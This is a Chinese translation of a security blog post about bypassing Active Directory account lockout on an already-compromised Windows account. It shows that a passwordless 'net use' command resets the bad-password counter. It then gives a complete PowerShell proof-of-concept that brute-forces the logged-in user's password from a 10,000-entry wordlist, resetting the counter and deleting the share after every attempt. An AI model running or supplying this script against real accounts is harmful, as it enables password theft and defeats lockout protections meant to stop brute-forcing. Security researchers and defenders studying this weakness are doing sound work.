这篇文章仅出于教育目的,请勿在不属于你的计算机上进行安全测试。
从日常攻防角度来看,一旦攻击者通过网络钓鱼或者远程代码执行等漏洞获得了受害者的计算机权限后,通常是以服务或用户的身份存在于计算机中。此时,他们往往会面临这样一个问题,虽然有权限,但却不知道密码。
获取密码的方式有很多种,例如使用Mimikatz以及搜索一些机器上的敏感文件来进行推测。而这篇文章我将介绍一种古老的方法,暴力破解,主要以某个用户为目标。但是,微软对帐户的登录尝试是有错误次数限制的。所以要顺利进行暴力破解,需要绕过这个限制。而我发现,在已通过身份验证的情况下,只要运行net use \\%computername% /u:%username%
,就能重新进行身份验证并重置错误尝试的次数。
想更详细的了解此操作,可从Microsoft下载远程服务器管理工具:[https://www.microsoft.com/en-us/download/details.aspx?id=45520](https://www.microsoft.com/en-us/download/details.aspx?id=45520)
安装该工具后,你可以运行以下powershell命令,它会显示我的JoeUser帐户的当前错误尝试次数。
get-aduser -filter * -prop lastbadpasswordattempt, badpwdcount, lockedout | select name, lastbadpasswordattempt, badpwdcount,lockedout | format-table -auto
33.png
在我的本地策略中,你可以看到我设置在3次无效登录后锁定帐户(这也是Microsoft的默认值)。
44.png现在我故意输入错误的密码,让机器记录下这个错误的密码尝试。所使用的命令为net use \\%computername% “FakePassword” /u:joeuser
。 出于某种原因,我可以看到两次错误的密码尝试,我还有另一种方法,可以看到只有一次错误的密码尝试,当然这无关大雅。
现在,我使用上述提及的命令清除错误的密码尝试次数Net use \\%computername% /u:%username%
。大家可以看到,此时我的命令中并没有密码。在我已拥有某用户的权限下,我可随意清除错误的密码尝试次数!
现在,我可以使用这种技术无限制地破解密码。唯一的问题是如果你想用Net use破解密码,我必须在每次使用重置命令后删除共享。例如,现在我已经进行了共享设置,如果我尝试破解密码,就会收到如下消息:
77.png为了清除共享,只能使用Net Use /Delete \\%computername%
以下是一个PoC。我使用Daniel Miesslers SecLists中前10000名密码组成字典,去尝试破解。我把我的代码和字典放在了C:\Users\Public
目录下,具体如下:
$userVar = Get-ChildItem env:username
$uname = $userVar.Value
$computerVar = Get-ChildItem env:computername
$computerName = $computerVar.Value
$ErrorActionPreference = "Stop"
$hooray = "PasswordNotFoun"
$CurrentPath = "C:\Users\Public"
$FileName = "10-million-password-list-top-10000.txt"
$FName= "$CurrentPath\$FileName"
foreach($value in [System.IO.File]::ReadLines($Fname))
{
$passAttempt = ('net use \\' + $computerName + ' "' + $value + '" ' + '/u:' + $uname )
try
{
Write-Output ("trying password " + $value)
$output = Invoke-Expression $passAttempt | Out-Null
$hooray = $value
write-output ("FOUND the user password: " + $value)
$reset = ('net use \\' + $computername + ' /u:' + $uname )
Invoke-Expression $reset | Out-Null
$deleteShare = ('net use /delete \\' + $computername )
Invoke-Expression $deleteShare | Out-Null
break
}
catch
{
$reset = ('net use \\' + $computername + ' /u:' + $uname )
Invoke-Expression $reset | Out-Null
$deleteShare = ('net use /delete \\' + $computername )
Invoke-Expression $deleteShare | Out-Null
}
}
write-host "The Password is: " $hooray
99.png
我的脚本正在破解用户密码。
100.png是的,被破解帐户地错误密码尝试次数一直是0!
110.png虽然不快但很有效。在我发现这个问题后,我将此作为一个漏洞提交给Microsoft,但他们不认为这是一个安全漏洞(至少这对我来说是一个漏洞)。
请随时在Twitter上关注我@markmo,我将随时分享我学到的知识。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2510.html
来源:https://medium.com/@markmotig/bypassing-ad-account-lockout-for-a-compromised-account-5c908d663de8
网友评论